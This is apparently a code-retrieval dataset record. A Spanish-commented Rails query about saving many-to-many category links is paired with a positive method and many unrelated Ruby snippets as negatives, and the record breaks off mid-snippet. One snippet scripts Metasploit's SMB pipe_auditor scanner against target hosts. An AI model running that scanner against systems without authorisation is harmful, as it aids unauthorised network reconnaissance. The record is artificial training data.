\"db_connect #{MSFDBCREDS}\"\n\t\tf.puts 'use auxiliary/scanner/smb/pipe_auditor'\n\t\tf.puts \"set RHOSTS #{zIP}\"\n\t\tf.puts 'run'\n\t\tf.close\n\t\tpipe_audit=\"xterm -title 'MSF SMB Pipe Auditor' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(pipe_audit)\n\t\tprint_line(\"\")\n\tend", "def prompt\n puts \"TRAC Emulator #{VERSION}\"\n puts\n catch :done do\n loop do\n idle = \"#(PS,#(RS)(\\n))\"\n catch :reset do\n execute(idle)\n end\n if @dispatch.trace\n @dispatch.trace = false\n puts 'Exiting trace...'\n end\n end\n end\n puts 'Exiting...'\n puts\n end", "def main\n loop do\n # current path used for readline\n cmdline = Readline.readline(\"#{shell_format} \", true)\n break if %w[exit quit q].include?(cmdline)\n\n Readline::HISTORY.pop if %W[hist #{''}].include?(cmdline)\n check_type_of_command(cmdline)\n end\nend", "def shownext\n if @session.current_screen and @session.current_screen.stdin\n display @session.current_screen\n @session.next\n else\n print Paint[\"... \", :cyan]\n @playprompt = false\n @lastelapsed = 0\n end\nend", "def execute(input: $stdin, output: $stdout)\n prompt = TTY::Prompt.new\n\n prompt.suggest('sta', ['stage', 'stash', 'commit', 'branch'])\n\n possible = %w(status stage stash commit branch blame)\n prompt.suggest('b', possible, indent: 4, single_text: 'Perhaps you meant?')\n\n return :gui\n end", "def run_and_output(cmd)\n run(cmd).output\n end", "def git(*args)\n Dir.chdir(@dir) do\n git = Process.spawn('git', *args)\n Process.wait(git)\n raise \"git #{args.join(' ')} (in #{@dir}) failed: #{$?.exitstatus}\" if $?.exitstatus != 0\n end\n end", "def run_cmd(cmd)\n Chef::Log.info \"executing: #{cmd}\"\n result = Mixlib::ShellOut.new(cmd).run_command.stdout.strip\n return result\nend", "def prompt()\n\tprint \"Geef commando > \"\nend", "def send_output(output)\n output += \"\\n\" unless output.end_with? \"\\n\" or output.empty?\n send_data output\n send_command_prompt\n end", "def shell(cmd)\n `#{cmd}`\n end", "def shell(cmd)\n `#{cmd}`\n end", "def stdout\n STDOUT\n end", "def shell\n platform_service(:shell)\n end", "def install_git\n\tKitchenplan::Log.debug \"Git is installed by the go.bat bootstrap on Windows, skipping install_git()\"\n end", "def print_line(msg = '')\n # TODO: there are unhandled quirks in async output buffering that\n # we have not solved yet, for instance when loading meterpreter\n # extensions, supporting Windows, printing output from commands, etc.\n # Remove this guard when issues are resolved.\n=begin\n if (/mingw/ =~ RUBY_PLATFORM)\n print(msg + \"\\n\")\n return\n end\n print(\"\\033[s\") # Save cursor position\n print(\"\\r\\033[K\" + msg + \"\\n\")\n if input and input.prompt\n print(\"\\r\\033[K\")\n print(input.prompt.tr(\"\\001\\002\", ''))\n print(input.line_buffer.tr(\"\\001\\002\", ''))\n print(\"\\033[u\\033[B\") # Restore cursor, move down one line\n end\n=end\n\n print(msg + \"\\n\")\n end", "def update_screen(output)\n if output != $last_update\n clear_screen\n puts(output)\n end\nend", "def git_exec(command, *args)\n Dir.chdir(@grit_repo.working_dir) do\n %x{git #{command} #{args.join(' ')}}\n end\n end", "def issue_command(str)\n puts str\nend", "def stdout\n @vm.stdout\n end", "def desc\n \"Command shell\"\n end", "def run\n Signal.trap('EXIT') do\n reset_terminal\n exit\n end\n Signal.trap('WINCH') do\n screen_settings\n redraw\n place_cursor\n end\n\n setup_terminal\n config_read\n parse_ls_colors\n set_bookmark '0'\n\n redraw true\n place_cursor\n\n # do we need this, have they changed after redraw XXX\n @patt = nil\n @sta = 0\n\n # forever loop that prints dir and takes a key\n loop do\n key = get_char\n\n unless resolve_key key # key did not map to file name, so don't redraw\n place_cursor\n next\n end\n\n break if @quitting\n\n next if only_cursor_moved?\n\n next unless @redraw_required # no change, or ignored key\n\n redraw rescan?\n place_cursor\n\n end\n write_curdir\n puts 'bye'\n config_write if @writing\n @log&.close\nend", "def git(command, options = {})\n error = options[:error] || true\n unless which(\"git\") || which(\"git.exe\") || which(\"git.bat\")\n raise GitNotInstalled\n end\n\n response = Mixlib::ShellOut.new(%{git #{command}}, options)\n response.run_command\n\n if error && response.error?\n raise GitError.new \"#{command} #{cache_path}: #{response.stderr}\"\n end\n\n response.stdout.strip\n end", "def diff_output\n `\n git diff \\\n --diff-filter=AM \\\n --ignore-space-at-eol \\\n --no-color \\\n --cached \\\n -p \\\n -- '*.rb' '*.rake'\n `\n end" ]
[ "0.6219506", "0.61200327", "0.61200327", "0.61200327", "0.61200327", "0.61200327", "0.61200327", "0.6103044", "0.60350794", "0.59949106", "0.5973232", "0.59097284", "0.58951396", "0.5886012", "0.586864", "0.58550465", "0.582788", "0.5807792", "0.5802978", "0.5773198", "0.5745784", "0.5721667", "0.57142776", "0.5706426", "0.5704753", "0.56900024", "0.56893885", "0.56506765", "0.56479645", "0.5633985", "0.5629367", "0.55938286", "0.5577253", "0.5572841", "0.5564923", "0.5556476", "0.55412453", "0.55262804", "0.55173624", "0.5514453", "0.54903823", "0.5472194", "0.54596406", "0.545397", "0.54501426", "0.5440263", "0.54197335", "0.54188055", "0.54104805", "0.54050726", "0.540174", "0.54011774", "0.53869814", "0.53854454", "0.5378956", "0.53670365", "0.5366946", "0.53661567", "0.5361823", "0.5347089", "0.53445196", "0.534284", "0.5336437", "0.5321813", "0.53215665", "0.53215665", "0.5312186", "0.53097004", "0.52962404", "0.529344", "0.52908546", "0.52884704", "0.5283642", "0.5283355", "0.52827686", "0.52824277", "0.52737933", "0.5267495", "0.5261491", "0.5260866", "0.52565324", "0.52474326", "0.5247112", "0.52459735", "0.5245493", "0.5243804", "0.52363133", "0.5235425", "0.5235425", "0.5234664", "0.5232037", "0.523197", "0.5228612", "0.5227766", "0.5222267", "0.5219499", "0.5217791", "0.5216754", "0.5215654", "0.52065563", "0.52042735" ]
0.0
-1
para la ingresar en la tabla intermedia de muchos a muchos define una propiedad que se puede leer y escribir la llamaremos :category_elements
def save_categories #metodo para registrar en la tabla intermedia muchos a muchos return category_articles.destroy_all if category_elements.nil? || category_elements.empty? category_articles.where.not(category_id: category_elements).destroy_all #si no viene como arreglo------------------------------------------------------------------ #recibiremos del form las categorias 1,2,3 #convertirlo en un arreglo separado por comas #categories_array = category_elements.split(",") #iterar el arreglo #guardar cada parte del arreglo como un registro diferente #categories_array.each do |category_id| # CategoryArticle.find_or_create_by(article: self, category_id: category_id) #CategoryArticle en singular y mayus igual que la tabla #end #este bloque guarda cada elemento del arreglo en la tabla intermedia muchos a muhcos categoryarticles #si viene como arreglo------------------------------------------------------------------ category_elements.each do |category_id| CategoryArticle.find_or_create_by(article: self, category_id: category_id) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def element_subcategory; end", "def has_many_display(all_low_model_elements, model, hash_name, model_id)\n all_low_model_elements_array = []\n all_low_model_elements.each do |each_element|\n each_element = {hash_name.to_sym =>\n {convert_to_sym(\"#{hash_name}_details\") => each_element,\n convert_to_sym(\"#{hash_name}er_details\") => model.find(each_element[\"#{model_id}\"])}}\n all_low_model_elements_array.push(each_element)\n end\n all_low_model_elements_array\n end", "def categorize\n #sólo muestra los eventos de cierta categoría.\n #@events = Event.where([\"category_id = ?\", params[:id]]).all\n @events = Event.find_by_sql([\"SELECT e.*, c.name as category_name FROM events e, categories c WHERE c.id = ? AND e.category_id = c.id\", params[:id]])\n \n #se agregan las categorias para poder navegar a través de ellas.\n @categories = Category.all\n\n #se renderiza la misma vista del index para reutilización.\n render :index\n\n # respond_to do |format|\n # format.html # categorize.html.erb\n # format.json { render json: @events }\n #end\n end", "def index\n @many_alumnos_has_many_asignaturas = ManyAlumnosHasManyAsignatura.all\n end", "def set_many_alumnos_has_many_asignatura\n @many_alumnos_has_many_asignatura = ManyAlumnosHasManyAsignatura.find(params[:id])\n end", "def lancamentos_para_efetivar\n\t\t@entries = []\n\t\tself.categories.each do |c|\n\t\t\tc.lancamentos_ate_mes(Date.today).each do |e|\n\t\t\t\tif(e.mes_nao_efetivado(Date.today))\n\t\t\t\t\t@entries << e\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@entries\n\tend", "def _categorizable(categorizable_type)\n has_many categorizable_type.name.demodulize.pluralize.downcase.to_sym, :through => :categories,\n :source => :categorized,\n :source_type => categorizable_type.name\n end", "def children_table; end", "def motions_collection\n motion_table_rows = select_table(COUNCIL_MOTIONS_TITLE, 2)\n\n motion_table_rows.map do |motion_row|\n motion_builder(motion_row)\n end\n end", "def parse_categories_structure(category_id = nil)\n super category_id, { product_link: '.productsArea .productArea .productDetail a',\n next_page_link: '.productsArea .tsk-pageview .next a' }\n end", "def representative_categories\n @representative_categories ||= Fotolia::RepresentativeCategories.new(self)\n end", "def select_industry_category\n\t\t@industry_categories = IndustryCategory.all.joins(:countries).where(\"countries.id = ?\", session[:country].id).order \"position\"\n\t\t@watch = \"IndustryCategory\"\n\n \t@title_content = 'Servicios para tu Matrimonio'\n \t@meta_description_content = 'Encuentra todos los servicios y productos que necesitas para la organización de tu matrimonio y aprovecha las oportunidades especiales que tenemos para ti'\n\n\tend", "def load_data\n # @categories = Category.find(:all)\n # @infoitems = Expert.find(:all)\n end", "def set_category\n end", "def category\n @ole.Category\n end", "def child_objects\n charts + images + hyperlinks\n end", "def parse\n products = []\n agent = WWW::Mechanize.new\n\n self.categories.each do |category|\n page = agent.get category.url\n page.search(\"//table[@width=175]\").each do |table|\n p = Product.new\n p.name = table.children[1].children[0].text\n p.price = table.children[3].children[2].text\n p.model = table.children[4].children[0].text\n str = table.children[5].text.gsub(/\\n|\\t|'/, '').strip.squeeze(\" \") #this position can hold the warranty info or description\n if str.include? 'Warranty'\n p.warranty = str\n else\n p.description = str\n p.warranty = table.children[6].text.gsub(/\\n|\\t|'/, '').strip.squeeze(\" \")\n end\n p.tag = category.name\n products << p\n end\n end\n\n products\n end", "def save_hot_products_by_category\r\n Subcategory.fill_all_subcategories_of_category(params[:category][:fields][1])\r\n end", "def relations \n @roots = Category.roots \n @categories = Category.has_children \n @expense_types = ExpenseType.all\n @payment_methods = PaymentMethod.all\n end", "def categorize(elt2category, unknown=nil)\n categories = Hash.new { |h,k| h[k] = [] }\n self.each do |elt|\n if elt2category.include? elt\n categories[elt2category[elt]] << elt \n elsif unknown\n categories[unknown] << elt\n end\n end\n categories\n end", "def categoria_por_nivel\n if taxon.present? && params[:cat].present? && params[:nivel].present?\n # Aplica el query para los descendientes\n self.taxones = taxones.where(\"#{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%,#{taxon.id},%'\")\n\n # Se limita la busqueda al rango de categorias taxonomicas de acuerdo al nivel\n self.taxones = taxones.nivel_categoria(params[:nivel], params[:cat])\n end\n end", "def index\n @categoria_ings = CategoriaIng.all\n end", "def get_grafico_precos_medios_cat\n\n obj1 = avg_price_categoria\n\n return @h = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>\"bar\" ,type: 'column',renderTo: 'container', :margin=> [10, 100, 60, 100]} )\n series = {\n :type=> 'column',\n :name=> 'Media de precos por categoria',\n :data=> obj1\n }\n f.series(series)\n f.options[:title][:text] = \"Preco por categoria\"\n f.options[:xAxis] = {\n\n :title => { :text => \"categorias\" },\n :labels => { :enabled => false }\n }\n f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '50px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n :cursor=>\"pointer\" , \n :dataLabels=>{\n :enabled=>true,\n :color=>\"white\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\",\n :width => \"250px\",\n :height => \"150px\" \n }\n }\n })\n end\n end", "def render_with_embeded_has_many(model, low_model_name, curr_model_ref, user_model_name, user_model_ref, has_many_name )\n models = []\n model.all.each do |element|\n all_low_ele = elements_by_model_id(element.id, low_model_name, \"#{curr_model_ref}_id\" )\n has_many_detailed = has_many_display(all_low_ele, user_model_name, \"#{has_many_name}\", \"#{user_model_ref}\")\n elementer = user_model_name.find(element[\"#{user_model_ref}\"])\n\n element = {convert_to_sym(\"#{curr_model_ref}\") =>\n { convert_to_sym(\"#{curr_model_ref}_details\") => element,\n convert_to_sym(\"#{curr_model_ref}_#{has_many_name}s_count\") => all_low_ele.count,\n convert_to_sym(\"#{curr_model_ref}_#{has_many_name}s\") => all_low_ele,\n convert_to_sym(\"#{curr_model_ref}_#{has_many_name}s_detailed\") => has_many_detailed,\n convert_to_sym(\"#{curr_model_ref}er_details\") => elementer\n },\n time_ago: compare_dates(element.updated_at)\n }\n models.push(element)\n end\n models\n end", "def index\n sql = \"\"\n\n sql = \"SELECT DISTINCT(department) FROM image_entries ORDER BY department\"\n records_array = ActiveRecord::Base.connection.execute(sql)\n @categories = [ 'ALL' ]\n records_array.each do |rec|\n @categories.push(rec[0])\n end\n end", "def category\n super\n end", "def set_categories\r\n csv = CSV.readlines(File.join('data', 'categories.csv'))\r\n @categories = csv.each_with_object({}) do |(key, val), hsh|\r\n hsh[key] = val\r\n end\r\n\r\n @items.each do |i|\r\n i.category = @categories[i.category]\r\n end\r\nend", "def parse_products(category_id)\n selector = {\n price: PRICE_CSS_SELECTOR,\n name: 'h2#titleItem span:first-child',\n image: '.proImgArea a.cloud-zoom',\n image_attr: :href,\n images: '.proImgArea a.cloud-zoom',\n images_attr: :href,\n description: '.detailProduct .tab1Contents'\n }\n super category_id, selector\n end", "def set_categorium\n @categorium = Categoria.find(params[:id])\n end", "def resolve_ids_sql\n\t\t(TopElements-[\"custom_note\", \"tabulation_area\"]).each do |element|\n\t\t\tparamlist = UnresolvedId.count(:parameter, :group => \"parameter\",\n\t\t\t :conditions => [\"source_id = ? AND object_class = ?\", \n\t\t\t @source.id, element.camelcase])\t\n\t\t\tparamlist.each do |param,cnt|\n\t\t\t\t#all params are ids, chop the last 3\n\t\t\t\tparam_name = param[0 .. param.size - 4]\n\n\t\t\t\t#get the type of association\n\t\t\t\telement_klass = element.camelcase.constantize\n\t\t\t\tassoc = element_klass.reflect_on_association(param_name.to_sym)\n\t\t\t\tassoc ||= element_klass.reflect_on_association(param_name.pluralize.to_sym)\n\t\t\t\traise \"no reflection between \"+element_klass.name+\" and \"+param_name+\" or \"+param_name.pluralize unless assoc\n\n\t\t\t\tparam_class = assoc.class_name\n\t\t\t\tcase assoc.macro\n\t\t\t\t\twhen :has_and_belongs_to_many\n\t\t\t\t\t\tinsert_table = [element_klass.name.tableize, param_class.tableize].sort.join(\"_\")\n\t\t\t\t\t\tresolve_ids_habtm_sql(@source, element_klass, param, param_class, insert_table)\n\t\t\t\t\twhen :belongs_to\n\t\t\t\t\t\tresolve_ids_belongs_to_sql(@source, element_klass, param, param_class)\n\t\t\t\t\twhen :has_many\n\t\t\t\t\t\tif assoc.options.keys.include?(:through)\n\t\t\t\t\t\t\tinsert_table = assoc.options[:through].to_s.tableize\n\t\t\t\t\t\t\tresolve_ids_habtm_sql(@source, element_klass, param, param_class, insert_table)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\traise \"unexpected association macro type :has_many \"+element_klass.name+\" and \"+param_name\n\t\t\t\t\t\tend\n\t\t\t\t\twhen :has_one\n\t\t\t\t\t\traise \"unexpected association macro type :has_one between \"+element_klass.name+\" and \"+param_name\n\t\t\t\tend #case\n\n\t\t\tend #each param\n\t\tend #each TopElement\n\t\tresolve_ids_activerecord([\"CustomNote\",\"TabulationArea\"])\n\tend", "def order_items_by_article_categories\n object.order_items.includes(:product).where(product_type: 'Article').reduce({}) do |hash, order_item|\n hash[order_item.product_category_name] ||= []\n hash[order_item.product_category_name].push(order_item)\n hash\n end\n end", "def parse_categories_structure(category_id)\n dry_run_notification\n\n total_products_count = 0\n categories = donor_categories_to_parse(category_id)\n display_info \"Total categories count: \\e[34;1m#{categories.count}\\e[0m\"\n\n initialize_capybara do\n categories.find_each do |category|\n category_name = \"#{category.name_eng.blank? ? category.name : category.name_eng} (id: #{category.id})\"\n category_products_count = parse_category category.id, category_name, \"#{@donor.url}#{category.path}\"\n total_products_count += category_products_count\n category_post_processing_message (category_products_count > 0), category_name, category_products_count\n # category.update(product_list_parsed_at: Time.zone.now) unless DRY_RUN # Update category product list parse date\n end\n end\n display_info \"Total products count: \\e[34;1m#{total_products_count}\\e[0m\"\n end", "def render(aspect_model)\n \n # templates are shown on element view\n element_template_above = ''\n element_template_above_ingroup = ''\n element_template_above_ingroup_tab = '' \n element_template = ''\n element_template_ingroup_tab = ''\n element_template_ingroup = ''\n element_extension = ''\n\n # Actions are shown on element view\n element_action = ''\n element_action_extension = ''\n \n # forms are show on element creation/edition\n edit_element_form_above = ''\n edit_element_form_above_ingroup_tab = ''\n edit_element_form_above_ingroup = ''\n edit_element_form = ''\n edit_element_form_ingroup_tab = ''\n edit_element_form_ingroup = ''\n edit_element_form_extension = ''\n\n new_element_form_above = ''\n new_element_form_above_ingroup_tab = ''\n new_element_form_above_ingroup = ''\n new_element_form = ''\n new_element_form_ingroup_tab = ''\n new_element_form_ingroup = ''\n new_element_form_extension = ''\n\n element_form_extension = ''\n \n entity_aspects.each do |aspect_entity_configuration|\n \n aspect_gui = aspect_entity_configuration.get_aspect(context).gui_block\n\n if aspect_entity_configuration.show_on_edit\n\n if aspect_entity_configuration.weight < 0\n if aspect_gui.respond_to?(:element_form_tab) and aspect_entity_configuration.in_group\n edit_element_form_above_ingroup_tab << aspect_gui.element_form_tab(context, aspect_model).force_encoding('utf-8') \n end \n if aspect_gui.respond_to?(:element_form)\n if aspect_entity_configuration.in_group\n edit_element_form_above_ingroup << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n else\n edit_element_form_above << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n end\n end \t \n else \n if aspect_gui.respond_to?(:element_form_tab) and aspect_entity_configuration.in_group\n edit_element_form_ingroup_tab << aspect_gui.element_form_tab(context, aspect_model).force_encoding('utf-8')\n end \n if aspect_gui.respond_to?(:element_form)\n if aspect_entity_configuration.in_group\n edit_element_form_ingroup << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n else\n edit_element_form << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n end\n end\n end\n \n #if aspect_gui.respond_to?(:element_form_extension)\n # edit_element_form_extension << aspect_gui.element_form_extension(context, aspect_model).force_encoding('utf-8')\n #end\n \n end \n\n if aspect_entity_configuration.show_on_new\n\n if aspect_entity_configuration.weight < 0\n if aspect_gui.respond_to?(:element_form_tab) and aspect_entity_configuration.in_group\n new_element_form_above_ingroup_tab << aspect_gui.element_form_tab(context, aspect_model).force_encoding('utf-8') \n end \n if aspect_gui.respond_to?(:element_form)\n if aspect_entity_configuration.in_group\n new_element_form_above_ingroup << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n else\n new_element_form_above << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n end\n end \n else \n if aspect_gui.respond_to?(:element_form_tab) and aspect_entity_configuration.in_group\n new_element_form_ingroup_tab << aspect_gui.element_form_tab(context, aspect_model).force_encoding('utf-8')\n end \n if aspect_gui.respond_to?(:element_form)\n if aspect_entity_configuration.in_group\n new_element_form_ingroup << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n else\n new_element_form << aspect_gui.element_form(context, aspect_model).force_encoding('utf-8')\n end\n end\n end\n \n #if aspect_gui.respond_to?(:element_form_extension)\n # new_element_form_extension << aspect_gui.element_form_extension(context, aspect_model).force_encoding('utf-8')\n #end\n \n end \n\n if aspect_gui.respond_to?(:element_form_extension)\n element_form_extension << aspect_gui.element_form_extension(context, aspect_model).force_encoding('utf-8')\n end\n\n if aspect_gui.respond_to?(:element_action)\n element_action << aspect_gui.element_action(context, aspect_model).force_encoding('utf-8')\n end\n\n if aspect_gui.respond_to?(:element_action_extension)\n element_action_extension << aspect_gui.element_action_extension(context, aspect_model).force_encoding('utf-8')\n end \n \n end\n\n element_template_above.force_encoding('utf-8') \n element_template_above_ingroup_tab.force_encoding('utf-8')\n element_template_above_ingroup.force_encoding('utf-8') \n element_template.force_encoding('utf-8')\n element_template_ingroup_tab.force_encoding('utf-8')\n element_template_ingroup.force_encoding('utf-8')\n element_extension.force_encoding('utf-8')\n \n element_action.force_encoding('utf-8')\n unless element_action.empty?\n element_action = build_action_menu(element_action)\n end\n\n element_action_extension.force_encoding('utf-8')\n\n edit_element_form_above.force_encoding('utf-8')\n edit_element_form_above_ingroup_tab.force_encoding('utf-8')\n edit_element_form_above_ingroup.force_encoding('utf-8')\n edit_element_form.force_encoding('utf-8')\n edit_element_form_ingroup_tab.force_encoding('utf-8')\n edit_element_form_ingroup.force_encoding('utf-8')\n edit_element_form_extension.force_encoding('utf-8')\n new_element_form_above.force_encoding('utf-8')\n new_element_form_above_ingroup_tab.force_encoding('utf-8')\n new_element_form_above_ingroup.force_encoding('utf-8')\n new_element_form.force_encoding('utf-8')\n new_element_form_ingroup_tab.force_encoding('utf-8')\n new_element_form_ingroup.force_encoding('utf-8')\n new_element_form_extension.force_encoding('utf-8')\n element_form_extension.force_encoding('utf-8')\n \n result = {:element_template_above => element_template_above,\n :element_template_above_ingroup_tab => element_template_above_ingroup_tab,\n \t :element_template_above_ingroup => element_template_above_ingroup,\n \t :element_template => element_template,\n :element_template_ingroup_tab => element_template_ingroup_tab,\n :element_template_ingroup => element_template_ingroup,\n :element_extension => element_extension,\n :element_action => element_action,\n :element_action_extension => element_action_extension,\n\n :edit_element_form_above => edit_element_form_above,\n :edit_element_form_above_ingroup_tab => edit_element_form_above_ingroup_tab,\n :edit_element_form_above_ingroup => edit_element_form_above_ingroup,\n :edit_element_form => edit_element_form,\n :edit_element_form_ingroup_tab => edit_element_form_ingroup_tab,\n :edit_element_form_ingroup => edit_element_form_ingroup,\n :edit_element_form_extension => edit_element_form_extension,\n\n :new_element_form_above => new_element_form_above,\n :new_element_form_above_ingroup_tab => new_element_form_above_ingroup_tab,\n :new_element_form_above_ingroup => new_element_form_above_ingroup,\n :new_element_form => new_element_form,\n :new_element_form_ingroup_tab => new_element_form_ingroup_tab,\n :new_element_form_ingroup => new_element_form_ingroup,\n :new_element_form_extension => new_element_form_extension,\n\n :element_form_extension => element_form_extension\n\n } \n \n return result\n \n end", "def set_visual_info ()\n classes = ''\n\n ct = self.category_type\n ct && ct !~ /unknown/i &&\n classes << \" type_\" + ct.gsub( /[^a-zA-Z0-9\\-_]+/, '_' )\n\n classes << \" \" + to_css_class(self.category)\n\n self.css_classes = classes\n self.block_label = \"#{self.title}:<br/>&nbsp;#{self.subtitle}\"\n end", "def parse\n products = []\n agent = WWW::Mechanize.new\n\n self.categories.each do |category|\n page = agent.get category.url\n page.search(\"//table[@class='OutBorder']\").each do |tr|\n unless (tr.children[0].text == 'Brand.') #ignore header <tr>'s\n p = Product.new\n p.name = tr.children[0].children[0].children[1].text\n p.image = tr.children[1].children[0].children[1].children[0]['src']\n p.brand = tr.children[0].text\n p.model = tr.children[2].text\n p.description = tr.children[4].text\n p.price = tr.children[10].text\n p.warranty = tr.children[6].text.gsub(/'/, '')\n p.stock = !tr.children[14].text.include?('(0)')\n tr.children[14].text =~ /\\d+/ #try get the numerical value inside this expression\n p.items_in_stock = $&\n p.tag = category.name\n products << p\n end\n end\n end\n\n products\n end", "def set_categorium\n @categorium = Categorium.find(params[:id])\n end", "def set_categorium\n @categorium = Categorium.find(params[:id])\n end", "def categories\n @female_category_groups = CategoryGroup.where(gender: \"Female\")\n @male_category_groups = CategoryGroup.where(gender: \"Male\")\n\n # below is the first column of CategoryGroups\n @female_category_groups_first = @female_category_groups.take(7)\n\n # below is the second column of CategoryGroups\n @female_category_groups_second = @female_category_groups.drop(7).take(7)\n\n # 1st column of CategoryGroups\n @male_category_groups_first = @male_category_groups.take(7)\n\n # 2nd column of CategoryGroups\n @male_category_groups_second = @male_category_groups.drop(7).take(7)\n end", "def category; end", "def defineTopicRelation\n cnt=0\n GTopic.create(:topic_chs => \"空气\", :topic_eng => \"Air\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"气候\", :topic_eng => \"Climate\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"能源\", :topic_eng => \"Energy\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"淡水\", :topic_eng => \"Water\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"河湖\", :topic_eng => \"Rivers\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"海洋\", :topic_eng => \"Marine\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"垃圾\", :topic_eng => \"Trash\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"工业\", :topic_eng => \"Industry\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"辐射与有毒物\", :topic_eng => \"Radiation & Toxicity\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"生态\", :topic_eng => \"Ecology\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"自然资源\", :topic_eng => \"Natural resource\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"荒漠化治理\", :topic_eng => \"Dersertification control\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"城市\", :topic_eng => \"Urban\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"农村\", :topic_eng => \"Countryside\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"社会\", :topic_eng => \"Society\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"教育\", :topic_eng => \"Education\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"妇女\", :topic_eng => \"Women\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"健康\", :topic_eng => \"Health\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"人文\", :topic_eng => \"Human\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"合作\", :topic_eng => \"Cooperation\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"短片\", :topic_eng => \"Shorts\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"绿色生存\", :topic_eng => \"Green life\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"环保产业\", :topic_eng => \"Green business\", :priority => cnt); cnt+=1\n GTopic.create(:topic_chs => \"可持续经济\", :topic_eng => \"Sustainable economy\", :priority => cnt); cnt+=1\n end", "def children\n rows + tags\n end", "def relatable_categories=(value)\n unless value.nil?\n self[:relatable_categories] = value.map{|relatable_category| Calculated::Models::RelatableCategory.new(relatable_category)}\n end\n end", "def methds\n [ :category_id, :name, :description, :handle, :url, :customer_ids, :image_ids, :created_at, :updated_at ]\n end", "def add_classification\n @bib.classification.each do |c|\n case c.type\n when \"type\" then @item[\"type\"] = c.value\n when \"mendeley\" then @item[\"mendeley-tags\"] = c.value\n end\n end\n end", "def notice_of_motions_collection\n motion_table_rows = select_table(NOTICE_OF_MOTION_TITLE, 2)\n\n motion_table_rows.map do |motion_row|\n notice_of_motion_builder(motion_row)\n end\n end", "def skills_tab\n skill_bonuses = @character.skill_bonuses.select_ability_total_bonus.select_skill_name.joins(:skill).joins(:ability_bonus)\n @insight = skill_bonuses.insight\n @perception = skill_bonuses.perception\n @skill_bonuses = skill_bonuses.sort_by(&:fr_name)\n @klass_choosable_skill_bonus = @character.klass.try(&:choosable_skills_to_a)\n end", "def categories_three_columned\n roots_data = []\n source_collection.each do |croot|\n roots_data << { el: croot, weight: calculate_weight(croot) }\n end \n place_in_columns_by_weight roots_data, 3\n end", "def category\n\n User.find(@toko.user_id).produks.each do |produk|\n @cat = produk.category_id\n end\n end", "def render_entity_aspects(element, model)\n\n context = {:app => self}\n result = {}\n \n if model = (Plugins::ModelAspect.registered_models.select { |m| m.target_model.to_sym == model.to_sym }).first\n aspects_render=UI::EntityAspectRender.new(context, model.aspects) \n result = aspects_render.render(element, model)\n end \n \n return result\n \n end", "def category\n adventure.category\n end", "def set_operaziones_cat_colture\n @operaziones_cat_colture = OperazionesCatColture.find(params[:id])\n end", "def category_ids\n @new_category_ids or super\n end", "def extrait_titems ; @extrait_titems end", "def new_objects\n @gadget = Gadget.new\n \n @allCategories = Category.order(\"id asc\").all.map{|u| [u.name, u.id]}\n end", "def get_categories(row)\n categories = []\n cat = at_in(:category1 , row) # should invent some loop here\n categories << cat if cat\n cat = at_in(:category2 , row) # but we only support\n categories << cat if cat\n cat = at_in(:category3 , row) # three levels, so there you go\n categories << cat if cat\n categories\n end", "def select_category\n #Parbauda vai ekrans ir redzams\n @screens.screen_create_filter.visible?\n #Pievieno kategoriju no filtra datiem\n @screens.screen_create_filter.select_row(@filter_data.category)\n end", "def edit_categories\n self.div(:id=>\"contentmetadata_locations_container\").fire_event \"onclick\"\n self.class.class_eval { include AddRemoveCategories }\n end", "def elements\n model = self.model.constantize\n model.respond_to?(:generic_highlighted_elements) ? model.generic_highlighted_elements(:limit => limit) : model.all(:limit => limit)\n end", "def index\n @basic_categories = Category.where(:cat_type => \"Basics\")\n @theme_categories = Category.where(:cat_type => \"Themes\")\n \n # @theme_words = @theme_categories.find_words\n # @basic_words = @basic_categories.find_words\n # respond_to do |format|\n # format.html\n # format.json {render :json => @categories}\n # end\n @categories = {}\n Word.select(:id, :name, :category_id).each do |word|\n @categories[word.category_id] ||= []\n @categories[word.category_id].push word\n end\n end", "def elements\n model = self.model.constantize\n model.respond_to?(:generic_listing_elements) ? model.generic_listing_elements : model.all\n end", "def index\n @echocategories = Echocategory.all\n end", "def create_entity_columns\n entity = self.name.constantize\n entity.reset_column_information\n \n entity.columns.each_with_index do |column, i|\n f = 